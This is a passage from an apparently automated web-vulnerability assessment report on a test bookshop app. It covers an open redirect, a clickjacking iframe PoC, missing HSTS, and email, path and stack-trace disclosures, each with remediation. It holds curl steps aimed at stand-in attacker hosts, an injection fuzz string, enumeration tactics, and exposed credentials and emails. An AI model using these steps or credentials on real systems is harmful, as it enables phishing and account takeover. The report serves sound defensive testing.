   curl -s -D- -o /dev/null 'https://marginalia.testinvicti.com/go?
   to=https://attacker.example.com/phish'
   ```

   The server responds with HTTP 302 and `location: https://attacker.example.com/phish`.

3. Confirm that an internal path is also accepted, showing no validation exists:

   ```
   curl -s -D- -o /dev/null 'https://marginalia.testinvicti.com/go?to=/login'
   ```

   The server responds with HTTP 302 and `location: /login`. The endpoint redirects to any value without restriction.

SEVERITY JUSTIFICATION

The vulnerability requires user interaction (clicking a crafted link) but needs no privileges or special conditions. The direct impact is integrity loss through redirection to an attacker-controlled site. There is no direct confidentiality or availability impact on the server. The CVSS 4.0 score reflects low integrity impact with passive user interaction, consistent with medium severity.

DISCOVERY & EXPLOITATION

The `/go` endpoint passes the `to` query parameter value directly to the HTTP `Location` response header without any domain validation, allowlist check, or path restriction. Because the server performs no inspection of the redirect target, both protocol-relative URLs (e.g., `//evil.example.com`) and fully qualified external URLs are accepted verbatim and returned in a 302 response, causing the browser to navigate away from the application entirely. Validation confirmed the server returns `Location: //evil.example.com` when supplied with that value, while legitimate internal redirects such as `/login` are also accepted, demonstrating the endpoint is a general-purpose redirector with no boundary enforcement.

An unauthenticated attacker weaponizes this by constructing a link that originates from the trusted `marginalia.testinvicti.com` domain but terminates on an attacker-controlled site. Because the initial URL passes inspection by email security gateways, browser warnings, and corporate proxy allowlists that permit the application domain, victims are significantly more likely to follow the link and interact with the destination. The most direct exploitation path is a credential-harvesting phishing page styled to mimic the application's login interface, presented immediately after the redirect completes.

IMPACT

An attacker can abuse the trusted domain to redirect users to phishing pages or malware distribution sites. Victims trust the legitimate domain in the link and are more likely to enter credentials on the attacker's page. The redirect can also bypass URL-based security filters that allowlist the application domain.

REMEDIATION

1. Validate the `to` parameter on the `/go` endpoint against an allowlist of permitted domains or restrict it to relative paths that start with `/` and do not contain `//`.
2. Reject any value in `to` that contains a scheme (`http://`, `https://`) or is protocol-relative (`//`) pointing to an external host.
3. Return a 400 error with an informative message when the redirect target fails validation, instead of silently redirecting.
4. Consider removing the open redirector entirely if the `/go` endpoint is not required for application functionality.
5. Add automated tests in CI that verify the `/go` endpoint rejects external redirect targets.

INV-55

Open Redirect in to Parameter

MEDIUM

SEVERITY	CATEGORY	CWE
Medium	Security Misconfiguration	CWE-601

ENDPOINT

`https://marginalia.testinvicti.com/go`

PARAMETER	CVSS 4.0
`to`	5.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The /go endpoint accepts a user-controlled query parameter named `to` and uses its value as the HTTP `Location` header in a 302 redirect response. The server does not validate whether the destination URL belongs to a trusted domain. An attacker can supply any external URL, and the server redirects the user to that destination. Replay confirmed that both `https://bxss.me/` and `https://evil.example.com/` produce a 302 redirect to the attacker-controlled domain.

EVIDENCE

Observed:

```
Scanner details:
URL encoded GET input <strong><span class="bb-dark">to</span></strong> was set to
<strong><span class="bb-dark">https://bxss.me/</span></strong><br/>
```

HTTP TRANSACTION

REQUEST

```
GET /go?to=https://bxss.me/ HTTP/1.1
Host: marginalia.testinvicti.com
Accept: application/json;q=0.9, application/xml;q=0.8, */*;q=0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36
```

RESPONSE

```
HTTP/1.1 302 Found
Date: Mon, 02 Nov 2026 21:03:43 GMT
location: https://bxss.me/
Content-Length: 0
```

STEPS TO REPRODUCE

1. Send a GET request to the redirect endpoint with an external URL in the `to` parameter:

```
curl -v 'https://marginalia.testinvicti.com/go?to=https://evil.example.com/'
```

The server responds with HTTP 302 and a `location: https://evil.example.com/` header, confirming the open redirect.

2. Verify with a different external domain to confirm there is no domain allowlist:

```
curl -v 'https://marginalia.testinvicti.com/go?to=https://bxss.me/'
```

The server responds with HTTP 302 and a `location: https://bxss.me/` header.

SEVERITY JUSTIFICATION

The CVSS 4.0 vector scores 5.1 (medium). The attack requires user interaction (clicking a crafted link) and does not directly compromise the server. The impact is limited to low confidentiality and integrity loss on the vulnerable system through phishing facilitation. No authentication is required to exploit the redirect.

DISCOVERY & EXPLOITATION

The `/go` endpoint accepts a `to` query parameter and passes its value directly to the HTTP `Location` header of a 302 redirect response without any domain validation or allowlist enforcement. Because the server performs no inspection of the destination host, any fully-qualified external URL supplied in the parameter is honored as a redirect target. Active replay against the endpoint confirmed this behavior across 2 distinct attacker-controlled domains, both producing 302 responses with the supplied URL reflected verbatim in the `Location` header.

An unauthenticated attacker weaponizes this by constructing a link that appears to originate from the trusted `marginalia.testinvicti.com` domain while silently forwarding the victim to an attacker-controlled site. The legitimate domain in the visible URL lowers the victim's suspicion, making the link effective in phishing campaigns delivered via email, social media, or in-application messaging. The attacker would substitute the proof-of-concept destination with a credential-harvesting page mimicking the application's own login interface, capturing account credentials from users who follow the link and complete what they believe is a legitimate sign-in flow.

IMPACT

An attacker can craft a link under the trusted marginalia.testinvicti.com domain that redirects users to a phishing site or malware distribution page. Users trust the legitimate domain in the URL and are more likely to follow the link. This enables credential theft, malware delivery, and reputational damage to the organization.

REMEDIATION

1. Implement a server-side allowlist of permitted redirect domains and reject any `to` value whose host is not on the list.
2. If only internal redirects are needed, validate that the `to` parameter is a relative path starting with `/` and does not contain `//` or scheme prefixes.
3. Return a 400 error with an informative message when the `to` value fails validation, instead of performing the redirect.

4. Log rejected redirect attempts for monitoring and abuse detection.
5. Add automated tests in CI that verify the `/go` endpoint rejects external URLs.

INV-56

Missing X-Frame-Options Header

LOW

SEVERITY	CATEGORY	CWE
Low	Security Misconfiguration	CWE-1021

ENDPOINT

`https://marginalia.testinvicti.com/`

CVSS 4.0

2.1 `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N`

VULNERABILITY DESCRIPTION

The main page at https://marginalia.testinvicti.com/ returns an HTTP 200 response without an X-Frame-Options header or a Content-Security-Policy header with a frame-ancestors directive. The response headers contain only Date, Content-Type, Content-Length, and Connection. Without these protective headers, a browser allows any external site to embed the page in an iframe. An attacker can overlay transparent UI elements on top of the framed page to trick authenticated users into performing unintended actions such as clicking buttons or submitting forms.

EVIDENCE

Observed:

```
The main page response lacks X-Frame-Options and Content-Security-Policy headers,
making it vulnerable to clickjacking attacks.
```

HTTP TRANSACTION

REQUEST

```
GET / HTTP/1.1
Host: marginalia.testinvicti.com
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36
```

RESPONSE

```
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2026 21:29:33 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 6034

[No X-Frame-Options or Content-Security-Policy header present]

<!doctype html>
<html lang="en"><head>
<meta charset="utf-8">
```

```
<title>Catalogue · Marginalia</title>
[... truncated ...]
```

STEPS TO REPRODUCE

1. Send a GET request to the main page and inspect the response headers:

   ```
   curl -sI https://marginalia.testinvicti.com/
   ```

   The server returns a 200 response. The headers contain `Content-Type: text/html; charset=utf-8` but no `X-Frame-Options` or `Content-Security-Policy` header.

2. Confirm the page can be framed by creating a local HTML file with the following content and opening it in a browser:

   ```
   <html><body>
   <h1>Clickjacking PoC</h1>
   <iframe src="https://marginalia.testinvicti.com/" width="800" height="600"></iframe>
   </body></html>
   ```

   The Marginalia catalogue page loads inside the iframe without restriction, confirming the absence of framing protection.

SEVERITY JUSTIFICATION

The missing header requires active user interaction (UI:A) and an attacker-prepared page (AT:P), limiting real-world exploitability. The integrity impact is low because clickjacking can trick users into unintended actions but does not directly expose data. The CVSS 4.0 vector scores in the low range, consistent with a low severity rating.

DISCOVERY & EXPLOITATION

The application's main page returns HTML responses without either an `X-Frame-Options` header or a `Content-Security-Policy` header containing a `frame-ancestors` directive. Without these controls, browsers impose no restriction on which origins may embed the page in an `<iframe>`, making the application frameable by any external site. The session cookie (`mgl_session`) is configured with `SameSite=lax`, which permits cookies to be sent on top-level navigations and does not block cross-origin framing, meaning an authenticated user's session remains active inside a framed context.

An external attacker constructs a malicious page that embeds the Marginalia application in a transparent or partially obscured iframe, then overlays deceptive UI elements aligned with high-value interactive controls, such as purchase confirmation buttons, account settings toggles, or review submission forms. When an authenticated user visits the attacker's page and interacts with what appears to be legitimate content, the underlying framed application receives and processes the click as a genuine authenticated action. Given that the application exposes purchase flows and shelf/review modification endpoints, this technique can be used to trigger state-changing operations without the user's awareness or consent.

IMPACT

An attacker can embed the application in a malicious page and trick users into performing actions without their knowledge. This includes clicking buttons that change account settings, initiate purchases, or modify shelf and review data. The application uses session cookies (mgl_session) with SameSite=lax, which permits framing with cookie-authenticated GET requests.

REMEDIATION

1. Add the `X-Frame-Options: DENY` response header to all HTML responses in the FastAPI application using middleware, for example `response.headers["X-Frame-Options"] = "DENY"`.
2. Add a `Content-Security-Policy` header with `frame-ancestors 'none'` to prevent framing by any origin.
3. If the application must be framed by specific trusted origins, use `frame-ancestors 'self' https://trusted.example.com` instead of `'none'`.
4. Verify that all HTML-serving routes return both headers by running `curl -sI https://marginalia.testinvicti.com/` and checking the output.
5. Add a CI check or integration test that asserts the presence of `X-Frame-Options` and `Content-Security-Policy` headers on all HTML responses.

INV-57

Missing Strict-Transport-Security Header

LOW

SEVERITY	CATEGORY	CWE
Low	Security Misconfiguration	CWE-319

ENDPOINT

`https://marginalia.testinvicti.com/`

CVSS 4.0

2.1 `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N`

VULNERABILITY DESCRIPTION

The application serves HTTPS responses without the `Strict-Transport-Security` response header. The server at `https://marginalia.testinvicti.com/account` returns only `Date`, `Content-Type`, and `Content-Length` headers. Although the HTTP endpoint redirects to HTTPS with a 301 status, the browser does not know to enforce HTTPS-only connections on subsequent visits. An attacker who intercepts the first plain-HTTP request can strip the redirect and serve content over HTTP indefinitely.

EVIDENCE

Observed:

```
Scanner details:
URLs where HSTS is not enabled:<br/><ul>
<li>https://marginalia.testinvicti.com/account</li></ul>
```

HTTP TRANSACTION

REQUEST

```
GET /account HTTP/1.1
Host: marginalia.testinvicti.com
Referer: https://marginalia.testinvicti.com/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36
```

RESPONSE

```
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2026 21:02:29 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1618

[No Strict-Transport-Security header present]
```

STEPS TO REPRODUCE

1. Send a GET request to the HTTPS endpoint and inspect the response headers:

```
curl -s -D- https://marginalia.testinvicti.com/account
```

The response returns HTTP 200 with `Content-Type` and `Date` headers but no `Strict-Transport-Security` header.

2. Confirm that the HTTP endpoint redirects to HTTPS but does not set HSTS on the redirect response:

```
curl -s -D- http://marginalia.testinvicti.com/
```

The server returns a 301 redirect to `https://marginalia.testinvicti.com:443/` without a `Strict-Transport-Security` header. The browser has no instruction to enforce HTTPS on future visits.

SEVERITY JUSTIFICATION

The missing HSTS header enables SSL stripping only when an attacker occupies a privileged network position and the victim initiates an HTTP connection, requiring both high attack complexity and active user interaction. Confidentiality impact is limited to data in transit during the downgraded session. The original CVSS vector scored 0.0 because all impact metrics were set to None; the corrected vector sets VC:L to reflect the realistic but constrained confidentiality risk, yielding a low severity.

DISCOVERY & EXPLOITATION

The DAST agent issued a GET request to `https://marginalia.testinvicti.com/account` and inspected the response headers. The server returned HTTP 200 with only `Date`, `Content-Type`, and `Content-Length` headers present — no `Strict-Transport-Security` header was issued. The same omission was confirmed on the HTTP endpoint, which redirects to HTTPS via a 301 response but also lacks the HSTS header, meaning the browser receives no instruction to enforce HTTPS-only connections on any subsequent visit.

The absence of HSTS enables SSL stripping: an attacker occupying a privileged network position (such as a shared Wi-Fi network, a compromised router, or an ISP-level adversary) intercepts the initial plain-HTTP request before the 301 redirect reaches the browser. Using a tool such as `sslstrip`, the attacker transparently proxies all subsequent traffic over unencrypted HTTP, capturing session tokens, credentials, and any personal data submitted through the application. Users who type the domain without an explicit `https://` prefix, or who follow an HTTP link from an email or external site, are silently exposed without any browser warning.

IMPACT

An attacker in a network position between the user and the server can perform SSL stripping. The attacker intercepts the initial HTTP request before the 301 redirect reaches the browser. The attacker then proxies all traffic over plain HTTP, capturing credentials, session tokens, and personal data. Users who type the URL without `https://` or follow HTTP links are exposed.

REMEDIATION

1. Add the `Strict-Transport-Security` header to all HTTPS responses: `Strict-Transport-Security: max-age=31536000; includeSubDomains`.
2. Verify the header appears on every route, including `/account`, `/login`, and static assets, by inspecting response headers with `curl -sD-`.
3. After confirming correct deployment for several weeks, submit the domain to the HSTS preload list at `https://hstspreload.org` and add the `preload` directive.
4. Ensure the HTTP-to-HTTPS 301 redirect remains in place so that the first visit still reaches the HTTPS endpoint.
5. Add an automated CI check that fails when any HTTPS response omits the `Strict-Transport-Security` header.

INV-58

Information Disclosure in Book Detail Owner Object

LOW

SEVERITY	CATEGORY	CWE
Low	Information Disclosure	CWE-200

ENDPOINT

`https://marginalia.testinvicti.com/api/books/1`

PARAMETER	CVSS 4.0
book_id	6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The book detail endpoint at /api/books/{book_id} returns an embedded owner object that includes the user's email address. This endpoint requires no authentication. Every public book exposes its owner's full name, username, and email address to any anonymous requester. The book list endpoint at /api/books does not include the owner object, which shows the detail endpoint over-exposes data. The API leaks email addresses for all users who own books, including the admin account (ops@marginalia.club) and personal addresses such as j.harlow@fastmail.co, tmercer@protonmail.com, and sahar.ahmadi@gmail.com.

EVIDENCE

Observed:

```
GET /api/books/1 without authentication returns owner object with email address:
{"id":1,"username":"admin","full_name":"Eleanor Vance","email":"ops@marginalia.club"}.
Email addresses of book owners are exposed to unauthenticated users.
```

HTTP TRANSACTION

REQUEST

```
GET /api/books/1 HTTP/1.1
Host: marginalia.testinvicti.com
User-Agent: curl/8.23.0-DEV
Accept: */*
```

RESPONSE

```
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2026 21:32:32 GMT
Content-Type: application/json
Content-Length: 27133

{"id":1,"title":"BOLA-test-hrckwghrrzqu","author":"Raynor Winn","isbn":"9780241349649",
"genre":"Memoir","description":"BOLA canary yhygptytevux",
"cover_url":"/static/img/salt-path.jpg","price_cents":1499,
"visibility":"public","status":"published","featured":true,
"owner_id":1,"owner":{"id":1,"username":"admin",
"full_name":"Eleanor Vance","email":"ops@marginalia.club"},
```

```
"reviews":[...truncated...]}
[... truncated ...]
```

STEPS TO REPRODUCE

1. Send a GET request to the book detail endpoint without authentication:

   ```
   curl -sL https://marginalia.testinvicti.com/api/books/1
   ```

   The response contains an `owner` object with the `email` field: `{"id":1,"username":"admin","full_name":"Eleanor Vance","email":"ops@marginalia.club"}`.

2. Send a GET request to the book list endpoint for comparison:

   ```
   curl -sL https://marginalia.testinvicti.com/api/books
   ```

   The response does not include an `owner` object, confirming the detail endpoint over-exposes user data.

3. Enumerate additional book IDs to confirm all owners' emails are exposed:

   ```
   curl -sL https://marginalia.testinvicti.com/api/books/5
   ```

   The response exposes a different user's personal email: `j.harlow@fastmail.co`.

SEVERITY JUSTIFICATION

The vulnerability requires no authentication and no user interaction (AV:N/PR:N/UI:N). It exposes limited personal data (email addresses) rather than credentials or secrets, so confidentiality impact is low (VC:L). There is no integrity or availability impact. The low severity aligns with the CVSS 4.0 score for this vector.

DISCOVERY & EXPLOITATION

The book detail endpoint embeds a full owner object in its response, including the `email` field, while the book list endpoint omits this object entirely. This inconsistency reveals that the detail serializer was configured independently and without the same data-minimization constraints applied to the list serializer. Because the endpoint requires no authentication, the email field is exposed to any anonymous HTTP client for every public book in the catalog.

An unauthenticated attacker can iterate sequentially over `book_id` values and extract a complete email address roster for all book-owning accounts, including the administrative account `ops@marginalia.club`. Unlike the sibling club and status disclosure vulnerabilities, this endpoint provides a structured, enumerable data source: each integer ID maps to a distinct user record, making bulk harvesting trivial. The harvested addresses are directly actionable for credential-stuffing campaigns, targeted phishing, or as seed data for account takeover attempts against the admin account specifically.

IMPACT

An attacker can enumerate all book IDs and harvest every book owner's email address without authentication. The exposed emails enable targeted phishing, credential-stuffing, and social-engineering attacks against users. The admin email address is also exposed, which increases the risk of account takeover on the platform.

REMEDIATION

1. Remove the `email` field from the owner object in the book detail API serializer. Return only `id`, `username`, and `full_name` to anonymous callers.
2. If email display is needed for authenticated users, add a conditional serializer that includes `email` only when the requester is the owner or an admin.
3. Audit all API endpoints that embed user objects (reviews, annotations, lists) for the same over-exposure pattern.
4. Add automated API response schema tests in CI to flag any new endpoint that returns `email` in a public response.

INV-59

Information Disclosure in Status API Endpoint

LOW

SEVERITY	CATEGORY	CWE
Low	Security Misconfiguration	CWE-200

ENDPOINT

`https://marginalia.testinvicti.com/`

CVSS 4.0

6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The `/api/_status` endpoint returns a JSON object that exposes sensitive internal details without requiring authentication. The response includes the absolute database file path (`/var/lib/marginalia/marginalia.db`), the internal hostname (`mgl-app-01.internal`), the Python runtime version, the application version and Git commit hash, and administrator email addresses. This endpoint is accessible to any unauthenticated user. The disclosed information reveals the server's directory structure, internal network naming, and technology stack.

EVIDENCE

Observed:

```
Scanner details:
Pages with paths being disclosed:<br/><ul>
<li>https://marginalia.testinvicti.com/api/_status <br/>
<strong>/var/lib/marginalia/marginalia.db</strong></li></ul>
```

HTTP TRANSACTION

REQUEST

```
GET /api/_status HTTP/1.1
Host: marginalia.testinvicti.com
Accept: application/json;q=0.9, application/xml;q=0.8, */*;q=0.1
```

RESPONSE

```
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2026 21:14:27 GMT
Content-Type: application/json
Content-Length: 219

{"service":"marginalia-api","version":"3.4.8-reset-
chain","commit":"d6fa4b0","db":"/var/lib/marginalia/marginalia.db","host":"mgl-app-
01.internal","python":"3.12","admins":["ops@marginalia.club","rhys@marginalia.club"]}
```

STEPS TO REPRODUCE

1. Send a GET request to the status endpoint:

   ```
   curl -s https://marginalia.testinvicti.com/api/_status -H 'Accept: application/json'
   ```

   The server responds with HTTP 200 and a JSON body containing the internal database path `/var/lib/marginalia/marginalia.db`, the internal hostname `mgl-app-01.internal`, administrator emails, and version details.

SEVERITY JUSTIFICATION

The CVSS 4.0 vector scores 6.9, reflecting low confidentiality impact with no integrity or availability impact. The severity is set to low because the disclosed information (file paths, internal hostname, emails, versions) aids reconnaissance but does not directly enable exploitation. No authentication is required, and the data is served to any requester.

DISCOVERY & EXPLOITATION

The DAST agent issued an unauthenticated GET request to `/api/_status` and received an HTTP 200 response containing a structured JSON body. No session token, API key, or other credential was required. The endpoint is designed as an operational health-check but has been deployed to production with its full internal diagnostic payload intact, exposing details that have no legitimate value to external clients: the absolute database file path (`/var/lib/marginalia/marginalia.db`), the internal hostname (`mgl-app-01.internal`), the Python runtime version, the application version and Git commit hash, and administrator email addresses. The vulnerability is not a flaw in input handling but in output scoping: the application returns internal operational state to any network-reachable requester without access control.

An unauthenticated attacker harvesting this response gains a precise reconnaissance package without triggering any authentication event. The internal hostname reveals the DNS naming convention for the internal network, enabling targeted lateral movement or DNS-based enumeration. The absolute database path directly informs path traversal attempts against any file-read vulnerability elsewhere in the application. The Python and application version strings allow the attacker to cross-reference known CVEs for the exact runtime and framework in use. Administrator email addresses provide ready-made targets for spear-phishing or credential stuffing. Individually, each disclosure is low severity; in combination with the other vulnerabilities identified in this assessment, this endpoint functions as a reconnaissance accelerant that reduces the effort required to weaponize higher-severity issues.

IMPACT

An attacker gains knowledge of the internal file system layout, internal hostname, technology versions, and administrator contact addresses. This information supports targeted attacks such as Path Traversal, social engineering of named administrators, and version-specific exploit selection. The internal hostname reveals internal DNS naming conventions.

REMEDIATION

1. Remove the `/api/_status` endpoint from production deployments, or restrict it to authenticated administrators only.

2. Strip internal file paths, hostnames, and email addresses from any status or health-check response returned to external clients.
3. If a public health-check endpoint is required, return only a minimal JSON body such as `{"status": "ok"}` with no internal details.
4. Add automated CI checks that flag responses containing absolute file paths or internal hostnames before deployment.

INV-60

Information Disclosure in Registration Endpoint

LOW

SEVERITY	CATEGORY	CWE
Low	Security Misconfiguration	CWE-209

ENDPOINT

`https://marginalia.testinvicti.com/`

CVSS 4.0

6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The `/api/auth/register` endpoint returns a full Python stack trace in the JSON response body when a database constraint error occurs. The server responds with HTTP 500 and a `trace` field containing the complete exception chain. This trace reveals internal file paths (`/opt/marginalia/app/main.py` , `/opt/marginalia/app/libsql_client.py`), the database engine (SQLite via `libsql_client`), table and column names (`users.username`), the SQL query structure (`INSERT INTO users ({_USER_COLUMNS}) VALUES (?,?,?,?,?,?,?)`), Python 3.12 runtime details, and the FastAPI/Starlette framework stack. Any unauthenticated user can trigger this disclosure by submitting a registration request with a duplicate username.

EVIDENCE

Observed:

```
Scanner details:
Application error messages:<br/><ul>
<li>https://marginalia.testinvicti.com/api/auth/register <br/><strong>Traceback (most
recent call last):</strong></li><br/></ul>
```

HTTP TRANSACTION

REQUEST

```
POST /api/auth/register HTTP/1.1
Host: marginalia.testinvicti.com
Content-Type: application/json
Content-Length: 114

{"username":"john_doe123","email":"12345'\"\\'\\\");|]*%00{%0d%0a<%00>%bf%27'","passwor
d":"SecureP@ssw0rd123"}
```

RESPONSE

```
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 8390

{"error":"internal_error",
```

```
 "detail":"SQLITE_CONSTRAINT: SQLite error: UNIQUE constraint failed: users.username",
 "trace":"Traceback (most recent call last):\n  File \"/usr/local/lib/python3.12/site-
packages/libsql_client/dbapi2/hrana.py\", line 372, in _raw_execute_one\n    result =
self.connection._raw_execute(stmt)\n  ...\n  File \"/opt/marginalia/app/main.py\", line
1158, in register\n    cur = conn.execute(f\"INSERT INTO users ({_USER_COLUMNS}) VALUES
(?,?,?,?,?,?,?)\", row)\n  File \"/opt/marginalia/app/libsql_client.py\", line 65, in
execute\n    raise sqlite3.OperationalError(str(exc)) from
exc\nsqlite3.OperationalError: SQLITE_CONSTRAINT: SQLite error: UNIQUE constraint
failed: users.username\n",
 "path":"https://marginalia.testinvicti.com/api/auth/register"}
[... truncated ...]
```


STEPS TO REPRODUCE

1. Send a POST request to the registration endpoint with a username that already exists and a unique email address:

   ```
   curl -s -L --post301 "https://marginalia.testinvicti.com/api/auth/register" \
     -H "Content-Type: application/json" \
     -d
   '{"username":"john_doe123","email":"unique_test_email@example.com","password":"Secur
   eP@ssw0rd123"}'
   ```

   The server responds with HTTP 500 and a JSON body containing an `error`, `detail`, and `trace` field.

2. Inspect the `trace` field in the response. It contains a full Python stack trace that reveals internal file paths such as `/opt/marginalia/app/main.py`, the database engine (SQLite), table names (`users.username`), the SQL query structure, and the Python 3.12 runtime version.

SEVERITY JUSTIFICATION

The CVSS 4.0 vector scores 6.9, reflecting low confidentiality impact with no integrity or availability impact. The severity is low because the disclosed information (file paths, framework versions, database schema) aids reconnaissance but does not directly compromise data or system integrity. The finding requires no authentication or user interaction to exploit.

DISCOVERY & EXPLOITATION

The registration endpoint propagates unhandled database exceptions directly into the HTTP response body. When a duplicate username is submitted, the SQLite `IntegrityError` travels up through the FastAPI/Starlette middleware stack without interception, and the application serializes the full Python exception chain into a `trace` field returned to the caller. No authentication is required to trigger this behavior, and the disclosure is deterministic: any username already present in the `users` table will reliably produce the stack trace.

An unauthenticated attacker uses this endpoint as a free reconnaissance channel. The exposed trace discloses the deployment file system layout (`/opt/marginalia/app/`), the database engine and client library (`SQLite` via `libsql_client`), the exact SQL insert template including column count and ordering (`INSERT INTO users ({_USER_COLUMNS}) VALUES (?,?,?,?,?,?,?)`), and the Python 3.12 runtime

with the full FastAPI/Starlette middleware chain. This intelligence directly lowers the cost of follow-on attacks: the SQL query structure and column count inform injection probing against other endpoints, known CVEs for the disclosed framework and runtime versions can be targeted precisely, and the file paths accelerate exploitation of any path traversal or local file inclusion vulnerabilities present elsewhere in the application.

IMPACT

An attacker gains detailed knowledge of the application internals without authentication. The exposed stack trace reveals the database engine, table schema, file system layout, framework version, and middleware chain. An attacker can use this information to craft targeted attacks against known vulnerabilities in the disclosed components. The SQL query structure and column count aid in SQL Injection attempts against this and other endpoints.

REMEDIATION

1. Add a global exception handler in FastAPI that catches all unhandled exceptions and returns a generic error message without the `trace` or `detail` fields.
2. Log the full stack trace to a server-side logging system instead of including it in the HTTP response body.
3. Handle `sqlite3.IntegrityError` in the `register` function explicitly and return a 409 Conflict with a user-friendly message such as `"Username already taken"`.
4. Set `debug=False` in the Starlette/FastAPI application configuration for the production environment.
5. Add integration tests that verify error responses do not contain stack traces or internal paths.

INV-61

Insecure Cookie Flags on Registration Page with Sensitive Data

LOW

SEVERITY	CATEGORY	CWE
Low	Security Misconfiguration	CWE-525

ENDPOINT

`https://marginalia.testinvicti.com/`

CVSS 4.0

2.3 `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N`

VULNERABILITY DESCRIPTION

The registration endpoint at /register serves a page containing sensitive information without any cache-control directives. The server response includes no Cache-Control, Pragma, Expires, or Vary headers. The scanner observed a GET request to /register that carries email, password, and username as query-string parameters. Because the server omits Cache-Control: no-store, browsers and intermediary proxies are free to cache the full response. The response body also contains hardcoded QA credentials in an HTML comment, which compounds the exposure. Any cached copy of this page preserves both the registration credentials from the URL and the embedded demo account credentials.

EVIDENCE

Observed:

```
Scanner details:
List of pages that could be cached:<br/><ul>
<li>https://marginalia.testinvicti.com/register?
email=testing@example.com&amp;password=u]H[ww6KrA9F.x-F&amp;username=tmFRZnRa</li></ul>
```

HTTP TRANSACTION

REQUEST

```
GET /register?email=testing%40example.com&password=u]H[ww6KrA9F.x-F&username=tmFRZnRa
HTTP/1.1
Referer: https://marginalia.testinvicti.com/register
Cookie: mgl_session=0c2990bdfae142168c9f7d4c9fdbca3d
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Host: marginalia.testinvicti.com
```

RESPONSE

```
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2026 21:09:45 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1865

[No Cache-Control, Pragma, or Expires headers present]
```

```
<!doctype html>
<html lang="en"><head>
<title>Register · Marginalia</title>
[... truncated ...]
<!--
  Shared demo account for QA:  demo@marginalia.club / Demo2023!shelf
  (please don't change the password, the whole team uses it)
-->
</body></html>
```

STEPS TO REPRODUCE

1. Send a GET request to the registration page with sensitive parameters in the query string:

   ```
   curl -s -D- "https://marginalia.testinvicti.com/register?
   email=testing%40example.com&password=u%5DH%5Bww6KrA9F.x-F&username=tmFRZnRa" -H
   "Accept: text/html"
   ```

   The server responds with HTTP 200 and no `Cache-Control`, `Pragma`, or `Expires` headers.

2. Inspect the response headers. Confirm that none of the following headers are present: `Cache-Control`, `Pragma`, `Expires`, `Vary`. This means the response is cacheable by browsers and intermediary proxies.

3. Observe that the response body contains an HTML comment with hardcoded credentials (`demo@marginalia.club / Demo2023!shelf`), which would also be stored in any cache.

SEVERITY JUSTIFICATION

The missing cache-control headers allow caching of pages that contain credentials. Exploitation requires a shared device or access to a proxy cache (AT:P) and prior user interaction (UI:P). The confidentiality impact is limited to cached credential data (VC:L). This warrants low severity.

DISCOVERY & EXPLOITATION

The DAST agent identified that the `/register` endpoint serves its response without any cache-control directives, specifically the absence of `Cache-Control`, `Pragma`, `Expires`, and `Vary` headers. The compounding issue is twofold: registration credentials (`email`, `password`, `username`) are transmitted as GET query-string parameters rather than a POST body, meaning they are embedded directly in the requested URL, and the response body contains hardcoded QA credentials in an HTML comment. Without `Cache-Control: no-store`, HTTP/1.1 caches treat the response as implicitly cacheable, preserving both the URL-embedded credentials and the in-body credentials in any cache store that handles the request.

An unauthenticated attacker with access to a shared browser profile, a corporate proxy cache, or a CDN edge node can retrieve the cached registration page and extract plaintext credentials without any interaction with the live application. On shared workstations, the browser's local cache directory is readable by any local user account, requiring no network position at all. The hardcoded QA credentials embedded in the HTML comment represent a fixed, persistent credential pair that survives across all cached copies and does not rotate with user sessions, making them independently exploitable for account access.

IMPACT

Browsers, CDN edge nodes, and proxy servers store the response, including plaintext passwords in the query string and in the HTML body. On shared devices, a subsequent user can retrieve the cached page from the browser history or cache directory without authentication. Intermediary proxies retain the page after the session ends, exposing credentials to anyone with access to the proxy cache.

REMEDIATION

1. Add `Cache-Control: no-store` and `Pragma: no-cache` response headers to every page that handles credentials or personal data, including `/register`.
2. Move sensitive parameters (`email`, `password`, `username`) from the GET query string to a POST request body so they do not appear in browser history or proxy logs.
3. Remove the hardcoded QA credentials from the HTML comment in the response template before deploying to production.
4. Add an `Expires: 0` header alongside `Cache-Control: no-store` for backward compatibility with HTTP/1.0 caches.
5. Enforce cache-control headers globally through middleware or a reverse-proxy rule for all authenticated or credential-bearing routes.

7. Additional Observations

The following informational observations were noted during the assessment. While not direct vulnerabilities, they represent security hardening opportunities.

The assessment identified 7 informational-severity observations representing defense-in-depth gaps that do not independently enable exploitation but materially increase the impact of other vulnerabilities present in the application.

Missing Security Headers

